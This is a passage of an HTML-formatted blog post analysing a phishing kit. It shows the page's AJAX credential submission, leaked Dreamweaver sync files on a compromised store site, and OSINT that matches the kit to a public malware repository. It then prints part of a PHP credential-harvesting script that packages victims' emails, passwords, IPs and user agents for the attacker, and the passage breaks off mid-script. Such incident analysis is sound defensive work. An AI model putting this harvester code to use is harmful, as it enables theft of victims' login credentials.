        &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#submit-btn&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Sign in&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;complete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#submit-btn&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Sign in&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is some retry loop – and that’s why we have two password attempts before redirecting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.location&lt;/code&gt; call – but beyond that, we just have the AJAX request. Following the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;URL_target&lt;/code&gt;, we found a random PHP-based website (given away by the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;def.php&lt;/code&gt;).&lt;/p&gt;

&lt;h2 id=&quot;the-other-end&quot;&gt;The Other End&lt;/h2&gt;

&lt;p&gt;Let’s look more carefully at the other end. Opening the remote address, I found a poorly-done old-designed website of a random Brazillian store. After a closer look at the website structure, we found &lt;em&gt;Exposure of Information Through Directory Listing&lt;/em&gt;, and, even further, we find several &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwsync.xml&lt;/code&gt; files, always inside a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_notes&lt;/code&gt; folder. Looking for more information, we find out that:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;dwsync.xml is a file created by Dreamweaver. Dreamweaver uses it to synchronize files in a Dreamweaver project.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is a known security problem, &lt;em&gt;Adobe Dreamweaver dwsync.xml Remote Information Disclosure&lt;/em&gt;, as listed in &lt;a href=&quot;https://www.tenable.com/plugins/nessus/33926&quot;&gt;Nessus&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;dwsync&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;class.phpmailer.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;347870503&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611698281370955880&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;classe.funcoes.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;lecal=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3478705403&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611698281370955880&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;phpmailer.rar&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3478705408&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7777996696&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;canvas.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3478705403&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7777996696&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;MailHandler.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3478705403&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611698281370955880&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;jquery.validate.js&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3446821216&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611698281370955880&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shareCount.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_one.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3478807356&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7777996696&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;canvas.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351965&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7810389376&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;classe.funcoes.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351965&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611802528784771712&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;jquery.validate.js&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351965&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611802528784771712&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;MailHandler.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html’&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351965&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611802528784771712&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;class.phpmailer.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351965&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-4611802528784771712&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shareCount.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351966&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7810389616&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;file&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;phpmailer.rar&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;server=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example_company_two.com.br/public_html’&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;local=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3515351966&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;remote=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7810389616&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Dst=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/dwsyne&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This seems to be a sync file of the company that designed the website since it stores information about several websites that do not correspond to the one in which the file was stored. Nonetheless, there are some curious files, including the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phpmailer.rar&lt;/code&gt;. Without searching for long, I discovered that the PHPmailer in question is a boilerplate and old one, &lt;a href=&quot;https://codeworxtech.com/&quot;&gt;PHP Mailer by codeworxtech&lt;/a&gt;. The other files were simple validators and other files that are part of the PHPmailer. So, no luck on getting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;def.php&lt;/code&gt; file. But we now know that most probably, the attacker was able to compromise this remote website, upload both the phpmailer and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;def.php&lt;/code&gt;, using it to receive the phishing payloads.&lt;/p&gt;

&lt;h2 id=&quot;some-osint-and-closing&quot;&gt;Some OSINT and Closing&lt;/h2&gt;

&lt;p&gt;When looking at the source code of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htm&lt;/code&gt; file, we can find some &lt;em&gt;breadcrumbs&lt;/em&gt; such as typos and variable names that, most probably, are unique to this payload. More concretely, let us take the following hints:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Regarding the AJAX payload, we know that, typically, the object keys are hardcoded for the server to be able to parse them; in this case, the variables &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ai&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pr&lt;/code&gt;.
    &lt;ul&gt;
      &lt;li&gt;In PHP, given that the AJAX makes a POST request, probably the received using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$_POST&lt;/code&gt; feature. So, most probably the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;def.php&lt;/code&gt; has, somewhere, a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$_POST[&apos;ai&apos;]&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$_POST[&apos;pr&apos;]&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Some error messages have typos, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Password field is empty.!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Doing some code searches on GitHub, we quickly found several possible correspondence results. Taking into account all the information that we collected so far, the most similar/supicious one was found in a GitHub account with a repository with several WordPress (&lt;em&gt;PHP&lt;/em&gt;) malware samples: &lt;a href=&quot;https://github.com/stefanpejcic/wordpress-malware&quot;&gt;stefanpejcic/wordpress-malware&lt;/a&gt;, more concretely &lt;a href=&quot;https://github.com/stefanpejcic/wordpress-malware/tree/master/11.02.2021&quot;&gt;WordPress-malware/11.02.2021/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Taking a look into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next.php&lt;/code&gt; &lt;a href=&quot;https://github.com/stefanpejcic/wordpress-malware/blob/master/11.02.2021/next.php&quot;&gt;file&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?PHP&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;email.php&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ai&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;pr&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;REMOTE_ADDR&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;gethostbyaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$useragent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;HTTP_USER_AGENT&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;|----------| Xls |--------------|&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Online ID            : &quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Passcode              : &quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;|--------------- I N F O | I P -------------------|&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;|Client IP: &quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;|--- http://www.geoiptool.com/?IP=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ----&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;User Agent : &quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$useragent&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;|----------- fudsender(dot)com --------------|&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$send&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$Receive_email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$subject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Login : &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
